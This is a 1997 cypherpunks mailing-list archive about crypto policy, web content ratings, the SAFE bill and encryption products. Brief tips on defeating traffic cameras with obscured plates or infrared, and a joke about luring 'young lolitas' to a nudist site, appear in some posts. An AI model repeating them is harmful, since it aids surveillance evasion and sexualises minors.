Date: Fri, 25 Jul 1997 15:24:34 +0800
To: "'cypherpunks@Algebra.COM>
Subject: encryption evaluater software
Message-ID: <l=NTG3-970725081806Z-9269@ntl11.research.kpn.com>
MIME-Version: 1.0
Content-Type: text/plain



>July 10, 1997
>
>----------
>
>
>Nikkei English News via Individual Inc. : (Nikkei Industrial Daily, July 8,
>1997) 
>
>Mitsubishi Electric Corp. said it has developed a software program which
>can be used to evaluate the security of various symmetric-key encryption
>algorithms, where the sender and recipient share the same key. 
>
>The program analyzes a given encryption technology and displays the amount
>of computing power required to deduce the key and decrypt the message. 
>
>Secure and practical data encryption is a necessary technology for the
>popularization of electronic money and electronic commerce. Mitsubishi's
>program could end up becoming an index by which to objectively evaluate the
>many new symmetric-key encryption methods being developed. 
>
>The software combines the differential decryption method developed by
>Israeli encryption expert Adi Shamir with Mitsubishi's proprietary linear
>decryption method. By attempting to deduce the key with simple
>approximations of the encryption algorithm, the program determines the
>minimal volume of computations needed to crack the code, and also shows how
>long the key should be in order to make decryption nearly impossible. 

>Mitsubishi said it has also finished development of a software program
>which uncovers the key based on the pattern of random numbers generated in
>the course of encrypting a message. 

>The next step for the company is to combine all three decryption methods
>into a comprehensive program for evaluation. Working with support from the
>Ministry of International Trade and Industry, the company hopes to finish
>and publicize its program by next spring, providing it free of charge to
>users. (More) 

________________________________                          
kpn   research                      E.C.C. Sheedy
  n m  m  m  m  m     
 n________________________           Security & Card systems
                                                                        
                                                          
  
                       
P.O. Box 15000	                                   Telephone        +31
50 582 17 92	
9700 CD Groningen	                   Telefax              +31 50 312 24
15	
The Netherlands
	
e-mail	                           e.c.c.sheedy@research.kpn.com
________________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 00:31:24 +0800
To: cypherpunks@toad.com
Subject: CDT, RSACi, and "public service" groups (1/3)
Message-ID: <Pine.GSO.3.95.970725091822.21324C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 15:12:36 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Cc: chris_barr@cnet.com
Subject: CDT, RSACi, and "public service" groups


On Thu, 24 Jul 1997, Jonah Seiger wrote:

> We do not believe ratings are appropriate for news sites or sites that are
> geared toward public discussion of political/social issues (CDT has refused
> to rate our sites with RSAC).

Of course that hasn't stopped CDT from, as I understand it, proposing
a "public service site" exemption to RSAC, similar to the "news site"
exemption.

Under such an RSAC-PS scheme, organizations defined as legitimate "public
service" groups -- and only those groups! -- would be exempt from labeling
each of their pages for violence, nudity, and so on. After all, if CDT
wanted to label and the RSAC-PS scheme didn't exist, they'd have to cordon
off the portion of their site with the Pacifica decision as inappropriate
for children. The RSAC working group discussed "public service sites,"
according to RSAC head Stephen Balkam, during a conference call on
July 10.

RSAC-PS raises the same troubling questions as RSACnews: what is a "public
service" group? Who decides? Is CDT? Focus on the Family? The
fight-censorship archives? The Cato Institute? The Washington Post? The
U.S. Congress? The Democratic Party? NAMBLA? Jim Bell's Multnomah County
Common Law Court?

The above is what I understand to be the case. I emailed CDT a week ago
about this but haven't heard back. I'd appreciate clarification.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 00:31:59 +0800
To: cypherpunks@toad.com
Subject: CDT, RSACi, and "public service" groups (2/3)
Message-ID: <Pine.GSO.3.95.970725091849.21324D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 19:27:07 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu
Cc: chris_barr@cnet.com
Subject: Re: CDT, RSACi, and "public service" groups

At 3:12 PM -0700 7/24/97, Declan McCullagh wrote:
>On Thu, 24 Jul 1997, Jonah Seiger wrote:
>
>> We do not believe ratings are appropriate for news sites or sites that are
>> geared toward public discussion of political/social issues (CDT has refused
>> to rate our sites with RSAC).
>
>Of course that hasn't stopped CDT from, as I understand it, proposing
>a "public service site" exemption to RSAC, similar to the "news site"
>exemption.

This is not even close to accurate.  We have not proposed anything.

We have told RSAC that we will not rate our sites with their system because
we do not believe that ratings are appropriate for politically
oriented/social issues sites or news sites.

When we discovered that RSAC was considering a news rating, we were
concerned and asked them to tell us what they had in mind.  As part of that
conversation, we asked whether CDT and the other sites we produce (which
are not 'news' sites in the same way the New York Times) would also fall
under that classification, or some other yet to be determined category.

My guess is that this fact got garbled in the translation to you from
someone at RSAC (or perhaps you were just too eager find what you were
looking for).

>RSAC-PS raises the same troubling questions as RSACnews: what is a "public
>service" group? Who decides? Is CDT? Focus on the Family? The
>fight-censorship archives? The Cato Institute? The Washington Post? The
>U.S. Congress? The Democratic Party? NAMBLA? Jim Bell's Multnomah County
>Common Law Court?

These are exactly the same questions we asked RSAC.  Ask them, not us --
this is their idea.

>The above is what I understand to be the case. I emailed CDT a week ago
>about this but haven't heard back. I'd appreciate clarification.

Hope that helps.

Jonah





* Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 00:30:42 +0800
To: cypherpunks@toad.com
Subject: CDT, RSACi, and "public service" groups (3/3)
Message-ID: <Pine.GSO.3.95.970725091915.21324E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 16:53:52 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Jonah Seiger <jseiger@cdt.org>
Cc: fight-censorship@vorlon.mit.edu, chris_barr@cnet.com
Subject: Re: CDT, RSACi, and "public service" groups

Jonah,

Thanks for responding. The "yet to be determined category" CDT suggested
during that conversation with RSAC is of course the same "public service
site" category I mentioned in my previous post. 

I'm still curious to know what exactly was discussed and what was proposed
during that July 10 conference call, which happened a few minutes after I
had lunch with RSAC's Stephen Balkam. Can you fill us in? Though to be
fair, I should say Balkam told me the following week that the "public
service site" discussions were on hold. (I'd have to look at my notes for
his exact wording.)

So would you rate your site with RSAC-PS? 

-Declan


On Thu, 24 Jul 1997, Jonah Seiger wrote:

> At 3:12 PM -0700 7/24/97, Declan McCullagh wrote:
> >On Thu, 24 Jul 1997, Jonah Seiger wrote:
> >
> >> We do not believe ratings are appropriate for news sites or sites that are
> >> geared toward public discussion of political/social issues (CDT has refused
> >> to rate our sites with RSAC).
> >
> >Of course that hasn't stopped CDT from, as I understand it, proposing
> >a "public service site" exemption to RSAC, similar to the "news site"
> >exemption.
> 
> This is not even close to accurate.  We have not proposed anything.
> 
> We have told RSAC that we will not rate our sites with their system because
> we do not believe that ratings are appropriate for politically
> oriented/social issues sites or news sites.
> 
> When we discovered that RSAC was considering a news rating, we were
> concerned and asked them to tell us what they had in mind.  As part of that
> conversation, we asked whether CDT and the other sites we produce (which
> are not 'news' sites in the same way the New York Times) would also fall
> under that classification, or some other yet to be determined category.
> 
> My guess is that this fact got garbled in the translation to you from
> someone at RSAC (or perhaps you were just too eager find what you were
> looking for).
> 
> >RSAC-PS raises the same troubling questions as RSACnews: what is a "public
> >service" group? Who decides? Is CDT? Focus on the Family? The
> >fight-censorship archives? The Cato Institute? The Washington Post? The
> >U.S. Congress? The Democratic Party? NAMBLA? Jim Bell's Multnomah County
> >Common Law Court?
> 
> These are exactly the same questions we asked RSAC.  Ask them, not us --
> this is their idea.
> 
> >The above is what I understand to be the case. I emailed CDT a week ago
> >about this but haven't heard back. I'd appreciate clarification.
> 
> Hope that helps.
> 
> Jonah
> 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Fri, 25 Jul 1997 23:31:34 +0800
To: jya@pipeline.com>
Subject: Re: Reap and Sow
In-Reply-To: <1.5.4.32.19970725110858.006f6168@pop.pipeline.com>
Message-ID: <Chameleon.869839340.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Pure, unadulterated propaganda.

Rat poison is 90% good, tasty stuff, or the rats wouldn't eat it.

------------------------
  From: John Young <jya@pipeline.com>
  Subject: Reap and Sow 
  Date: Fri, 25 Jul 1997 07:08:58 -0400 
  To: cypherpunks@toad.com


> The Congressional Record reprinted July 23 "Anti-Government,
> Anti-Social Attitudes," a news column which examines the
> increasing discontent caused by governmental programs. It
> describes the increasing psychopathology by those who have 
> suffered economic harm due to shifts in the nation's and 
> international resources and the appeal of anti-government and
> anti-social acts in response to failure to meet obligations to the 
> citizenry. Not a few think OKC bombing is the the way to fight 
> government-sponsored terrorism against civilians.
> 
>   http://jya.com/anti-gov.txt
> 
> Couple that with reports on DoD's efforts to combat terrorism 
> against its troops abroad, more funding of counterterrorism
> and more sharing of "dual-use" weaponry with jittery, trigger-
> itchy law enforcement and IRS infohighway bandits around 
> the globe. Boil the frogs.
> 
> Says the snarling marshal (OSFOR trooper), just back from 
> stress counseling and a beer, to the neighbor (rapee) kicking and 
> screaming: It's dog eat dog, in the battle to keep our family fed, so 
> sorry, but we gotta enforce order and the law (our exculpatory Bible), 
> burp, tell it to the judge (the President), my therapist (godfather).
> 
> Meanwhile have a pleasant remand while the court's on vacation.
> 
> 

---------------End of Original Message-----------------

------------------------
If your privacy is important, don't give your keys to Freeh!
Name: amp
E-mail: amp@pobox.com
Date: 07/25/97
Time: 10:01:07
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 01:38:58 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.GSO.3.95.970725091518.21324B-100000@well.com>
Message-ID: <v03102800affe90c52c47@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
>---------- Forwarded message ----------
>Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
>From: James Love <love@cptech.org>
>To: Jonah Seiger <jseiger@cdt.org>
>Cc: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu,
>    chris_barr@cnet.com
>Subject: Re: CDT, RSACi, and "public service" groups
>
>
>Jonah, I think the problems with the RSACi rating system are pretty
>obvious, and I also think it should be obvious that *any* rating system
>that would aspire to rate all or even a significant number of web pages
>would be a bad thing.  That said, it seems to me that there exist web
>pages that are unambiguously inappropriate for children.  Has CDT rejected

"Unambiguously inappropriate for children"?

No such thing. I can think of many, many things which many consider
inappropriate for children (what age?), but which others, including myself,
consider perfectly appropriate. I see no particular need to recite examples
here.

Even with "obscenity," whatever that is (I seem not to know it when I see
it, which would make me a poor Supreme Court Justice), that there are
obscenity prosecutions and trials would seem to indicate that such
materials are not "unambigously obscene."

The "mandatory voluntary" PICS/RSACi ratings, with penalties (presumably)
for "mislabeling," just are another form of content control.

If they are truly voluntary, then people are free to say that a nudist site
is appropriate for children, or not to label at all...the null label is
just another label.

(Nudist sites, in realspace as well as cyberspace, are a classic example of
the difficulty of judging "appropriate for children." Some jurisdicitions
are attempting to legislate against children being in nudist camps. They
would even claim that children seeing adults and other children nude is
"unambiguosly inappropriate." Others disagree. So, how would their web site
be labeled?)

The notion that something is "unambiguously" inapproprate, obscene,
heretical, treasonous, whatever, is a flawed concept.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 25 Jul 1997 22:47:44 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <v0311074baffe40d42057@[139.167.130.248]>
Message-ID: <Pine.SUN.3.96.970725103612.21707C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 25 Jul 1997, Robert Hettinga wrote:

> At 12:51 pm -0400 on 7/24/97, Ray Arachelian wrote:
> 
> 
> > Sure you want'em?  They're probably as buggy as a swap in july.
> 
> No. That's Washington, in general...

:) Yeah, but why invite Big Brother to listen to you from your own xmas
tree?  :)  Would be cool to get a list of frequencies their bugs work on
and just sit back and listen too all the various conversations. :)  Even
if they originate from around the ol'e Yule Log. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 01:51:03 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <Pine.GSO.3.95.970725091822.21324C-100000@well.com>
Message-ID: <v03102801affe9378ce79@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



[This message brought to you by Tim's Internet News Service, a service
devoted to news and opinions and thus exempt from the voluntary mandatory
self-ratings system imposed by the Protecting our Children Act of 1997.)


At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
>---------- Forwarded message ----------

>On Thu, 24 Jul 1997, Jonah Seiger wrote:
>
>> We do not believe ratings are appropriate for news sites or sites that are
>> geared toward public discussion of political/social issues (CDT has refused
>> to rate our sites with RSAC).
>
>Of course that hasn't stopped CDT from, as I understand it, proposing
>a "public service site" exemption to RSAC, similar to the "news site"
>exemption.
>
>Under such an RSAC-PS scheme, organizations defined as legitimate "public
>service" groups -- and only those groups! -- would be exempt from labeling
>each of their pages for violence, nudity, and so on. After all, if CDT
>wanted to label and the RSAC-PS scheme didn't exist, they'd have to cordon
>off the portion of their site with the Pacifica decision as inappropriate
>for children. The RSAC working group discussed "public service sites,"
>according to RSAC head Stephen Balkam, during a conference call on
>July 10.

This echoes a similar dichotomy between the alleged "rights" of newsmen to
"protect their sources" and the rights of non-newsment to protect their
sources or confidants. I have never believed that a reporter for the
"Washington Post" has any more rights to refuse to disclose his
conversations than I have. The so-called "shield laws" seem to create
protected classes of the rights of free speech and association (and
"privacy" in a sense).

Same as with "religious confessionals." If I claim that conversations I
have are part of a priest-penitent or "confessional" relation--after all, I
am a prelate in the First Church of Odin--and the courts claim I am not a
"valid" religion....

Giving special status to some news organizations or some religious
organizations is a clearcut violation of the First.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 25 Jul 1997 22:56:32 +0800
To: frissell@panix.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <3.0.2.32.19970725072354.03bfa02c@panix.com>
Message-ID: <Pine.SUN.3.96.970725104334.21707D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 25 Jul 1997 frissell@panix.com wrote:

> Sabotaging your plates so they weren't machine readable or using a car 
> registered in Slovenia or Wisconsin (both possible in the UK) would make more 
> sense.

Would a spy trying to infiltrate a building wear a dark hat, sunglasses,
a trench coat, and a briefcase handcuffed to her wrist, or would she dress
as the people entering and leaving the building?

Erm, just how many Wisconsin or Slovenian plates are you likely to see in
a given hour passing through a camera's view?  You'd stand out like a
haystack in the middle of NYC.   You want to trick the OCR by using a
plate where the 1's can get confused with the I's, O's with Q's, etc..

Or spraying your plates with mud or dust or something...  You certainly,
don't want to stand out and call attention to your car.

Didn't someone mention using IR lasers to knock out cameras in a similar
topic?  Would perhaps a broadband IR transmission do the same without
harming humans? (So they won't rear end you of course.) :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 02:08:25 +0800
To: cypherpunks@toad.com
Subject: Cnet's stance on content filters
Message-ID: <Pine.GSO.3.95.970725105516.22013E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 12:48:48 -0400
From: Lauren Gelman <gelman@acm.org>
To: declan@well.com
Subject: Cnet's stance on content filters

>Date: Wed, 23 Jul 1997 17:40:12 -0400
>To: chris_barr@cnet.com
>From: Lauren Gelman <gelman@acm.org>
>Subject: Cnet's stance on content filters
>Cc:
>Bcc:
>X-Attachments:
>
>with regard to: http://www.cnet.com/Content/Voices/Barr/072197/index.html
>
>First, I think there are a number of problems inherent in any content
>filtering system, some of which you discuss in your column.
>
>Given that, I think the main problem with the Internet Content Coalition
>approach is how, and who, will determine what is a "real news
>organization" is and what "bona fide news sites" are.  Is this the job of
>the ICC?  You completely ignore this issue both in the column and on the
>ICC web site.  What are the criteria that categorize Cnet as a "news
>organization?  Would EPIC and the ACLU (cited in your column) also fall
>under that category?  What about listservs where news is disseminated?
>
>The U.S. Public Policy Office for the Association for Computing (USACM)
>web site http://www.acm.org/usacm disseminates news about computer policy
>related issues as well as USACM position pieces on those issues.  It also
>archives back- issues of the "ACM Washington Update", a bi-weekly
>electronic newsletter.  Is the USACM web site a "bona fide news sites"?
>
>I believe these are important questions which need to be addressed before
>Cnet endorses any content-filtering approach to censorship. "Privilege"
>needs to be defined before Cnet or any other group can seek "to make sure
>that only real news organizations claim this privilege."
>
>
>-Lauren Gelman
>Associate Director
>USACM
>
>

/\ /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Association for Computing,             +   http://www.acm.org/usacm/
Office of U.S. Public Policy           *   +1 202 544 4859 (tel)
666 Pennsylvania Ave., SE Suite 302 B  *   +1 202 547 5482 (fax)
Washington, DC 20003   USA             +   gelman@acm.org








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 02:14:24 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102800affe90c52c47@[207.167.93.63]>
Message-ID: <v03102802affe9889ff47@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:49 AM -0700 7/25/97, James Love wrote:
>Tim, if you think that no web site are unambiguously inappropriate for
>children, then you are in a state of denial.  However, while I don't
>expect to change your mind on that point, let me set the record straight
>on your note.  I don't favor RSACi or other PICS systems.  I think these
>are a mistake, and should be resisted.  However, I do favor a far less
>ambitious and less informative system (less is more, as far as I am
>concerned), which involves a simple, single voluntary tag, selected by
>the web page publisher, at their discretion, of the nature of
>
><META NAME="Rating" CONTENT="adult">

So long as it is completely voluntary, and I am free to label my sites as
"Suitable for children," whatever they contain, I have no problem with your
proposal.

(And marking my sites "suitable for children" may help me to recruit some
fine young lolitas to my nudist site, so I may actually _like_ your system.)

However, if you or Justice Rehnquist or Louis Freeh or Ralph Reed should
_disagree_ with my "voluntary" labeling of my site as "suitable for
children," and should then bring the courts into the process in a
prosecution or other action against me, then it will hardly be "voluntary,"
will it?

And since my standards of what is "suitable" and what is "not suitable" may
well differ from your standards, etc., why not just have an Office of the
Censor to resolve these issues so that I won't later be charged?

(I don't mean this as a cheap shot, by the way. I am sure you would recoil
in horror at the concept of an Office of the Censor. However, what other
option exists, given that I would otherwise have no idea what my site
should be "voluntarily" rated as? I happen to think my nudist web page is
indeed a good place for healty young lolita girls to come and hang out. My
values. Yours may be different.)


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 02:25:32 +0800
To: cypherpunks@toad.com
Subject: An Attempt to Hobble SAFE Crypto Bill
Message-ID: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 11:03:33 -0800
From: "--Todd Lappin-->" <telstar@wired.com>
To: fight-censorship@vorlon.mit.edu


http://www.wired.com/news/news/politics/story/5492.html


An Attempt to Hobble House Crypto Bill

 by Rebecca Vesely

 9:08am  25.Jul.97.PDT A Republican opponent of a House
 bill that would loosen controls on the use and export of
 encryption is circulating an amendment that would
 effectively cripple the legislation.

 The amendment, by Representative Benjamin Gilman
 (R-New York), who chairs the International Relations
 Committee, would make it unlawful to "manufacture,
 distribute, sell, or import any product within the United
 States that can be used to encrypt communications or
 information if the product does not permit the real-time
 decryption of such encrypted communications or
 information."

 This means that if law-enforcement officials could not
 crack an encrypted file within 24 hours - the time that FBI
 director Louis Freeh and other law enforcement officials
 say is reasonable for accessing information related to a
 crime - that strength of encryption would be illegal. The
 amendment set a civil penalty of US$100,000 for such
 violations.

 Currently, the most complex programs that can be cracked
 so quickly use 40-bit algorithms. The relative ease of
 breaking such code makes it nearly worthless on the
 marketplace, the high-tech industry has warned. Stronger
 encryption - 56-bit and 128-bit algorithms are being
 employed in many products now - is widely viewed as a
 cornerstone to the development of electronic commerce.
 Stronger code can safeguard data such as credit-card
 numbers as it travels over networks.

 Gilman had the amendment in hand earlier this week when
 his panel marked up the Security and Freedom through
 Encryption Act by Representative Bob Goodlatte
 (R-Virginia). The bill has been condemned by the
 government's chief law-enforcement and national-security
 officials because it would prevent domestic controls on
 encryption while relaxing export controls. The FBI and
 National Security Agency want a domestic key-recovery
 system to wiretap digital communications.

 Gilman was unsuccessful in trying to insert another
 provision during the mark-up - one to give the president
 the power to deny crypto export licenses on
 national-security grounds.

 "The second amendment was a staff proposal that basically
 was dependent on what happened to the first amendment,"
 said Jerry Lipson, spokesman for the House International
 Relations Committee. "There was no sentiment that this one
 should be introduced when the first one failed."

 A staffer for a congressman who supports the Goodlatte bill
 said that the new amendment was a "scare tactic" meant to
 show committee members that law enforcement won't stand
 for a relaxed approach to encryption policy. Indeed, FBI
 director Freeh met one-on-one with 10 International
 Relations panel members for hour-long sessions in the days
 before the mark-up, the staffer said. Nine of the 10 voted
 for the bill anyway.

 Some staffers and observers suggest that the Gilman
 amendment could be introduced when the bill goes to the
 Select Committee on Intelligence. Although the legislation
 has 214 co-sponsors in the House, none are members of
 that panel. And the bill still must reach two other
 committees before it goes to a full House vote: Commerce
 and National Security. The deadline for all committees to
 address the bill is 5 September.

"They don't draft amendments like this for the heck of it,"
 said Alan Davidson, staff counsel for the Center for
 Democracy and Technology. "It's a glimpse at what could be a
 very frightening future."


 Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated
 companies.
 All rights reserved.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: admin@tcg.sask.com
Date: Sat, 26 Jul 1997 15:01:06 +0800
Subject: Addresses
Message-ID: <199707260525.AA10380@unibase.Unibase.COM>
MIME-Version: 1.0
Content-Type: text/plain





Hi,

I came across your post in a MLM newsgroup and thought you may be interested in an email address list.

It worked great for me. 

          http://www.unibase.com/~visions/email/

Robert L. James





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Fri, 25 Jul 1997 19:02:54 +0800
To: Petri Laakkonen <F-Secure-Press-Global@DataFellows.com
Subject: Re: Data Fellows announces F-Secure SSH Tunnel&Terminal
In-Reply-To: <3.0.32.19970725011140.008fac60@popd.ix.netcom.com>
Message-ID: <3.0.3.32.19970725125000.00941a80@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Petri Laakkonen wrote:
>>F-Secure SSH Tunnel&Terminal provides strong encryption of data and thus
>>sets a new standard for secure remote working. Existing solutions like
>>Cisco Systems L2F, IETF L2TP and firewalls don't provide strong encryption
>>and authentication, which makes these solutions insecure against
>>eavesdropping and IP spoofing attacks. In addition to encrypted tunnels, 
>>F-Secure Tunnel&Terminal also provides secure terminal connections to UNIX
>>hosts and secures UNIX X11 applications.

>What would be F-Secure Tunnel's added value over MS pptp ?

For one thing, it is produced and packaged outside of USA, which says
everything about the quality of the crypto. M$ can not legally ship crypto
from Seattle WA to global customers.

It would be neat if SSH Tunnel was compatible with PPTP, but I guess it's
not.

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 04:01:04 +0800
To: "Peter D. Junger" <cypherpunks@cyberpass.net>
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
Message-ID: <v03102805affeb3524a23@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:22 PM -0700 7/25/97, Peter D. Junger wrote:

>This is interesting in a perverse sort of way.  Notice that it does
>not purport to forbid the _use_ of strong crypto.  Is software---
>especially if it is not for sale, but just given away---a product?
>Does writing software amount to manufacturing it?
>
>It actually does a very nice job of raising the first amendment issues
>that are ultimately going to kill export controls, as well as import
>controls, as applied to software.  It would seem that, unless one
>believes that the first amendment only protects pornographers, but not
>programmers, that this proposed legislation is either (i) blatantly
>unconstitutional or (ii) totally ineffective (since, if it is not
>unconstitutional, it could not be applied to the writing, distributing,
>importing, or even selling of those texts that we call programs.)

I agree. Far better to have a law "so bad, so blatantly unconstitutional"
that it _must_ be struck down, thus giving freedom to encrypt as one wishes
the endorsement it needs.

The Beltway Bandits need to resist the temptation to "work the issues" and
help craft a compromise bill which is still bad but not nearly so blatantly
unconstitutional, as this might do some real mischief by delaying the
overturning for many years.

(And, in my opinion, the modern American system is filled with thousands of
examples of laws inconsistent with original Constitutional intent, but not
so blatantly clearcut that the Supremes would have to act. The "death of a
thousand cuts," or the "frog in boiling water," whatever metaphor one
prefers.)

Better that the "cyber rights" groups simply take an absolutist stance on
all of these issue, about cryptography, labelling, etc.

And no legislation is needed, as the Constitution is pretty clearcut on the
basic issues.

--Tim May


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0103.myriad.ml.org (Matthew Ghio)
Date: Sat, 26 Jul 1997 04:59:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Data Fellows announces F-Secure SSH Tunnel&Terminal
In-Reply-To: <3.0.32.19970725011140.008fac60@popd.ix.netcom.com>
Message-ID: <199707252040.NAA02700@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Mike <Michael.Johnson@mejl.com> wrote:

> It would be neat if SSH Tunnel was compatible with PPTP, but I guess
> it's not.

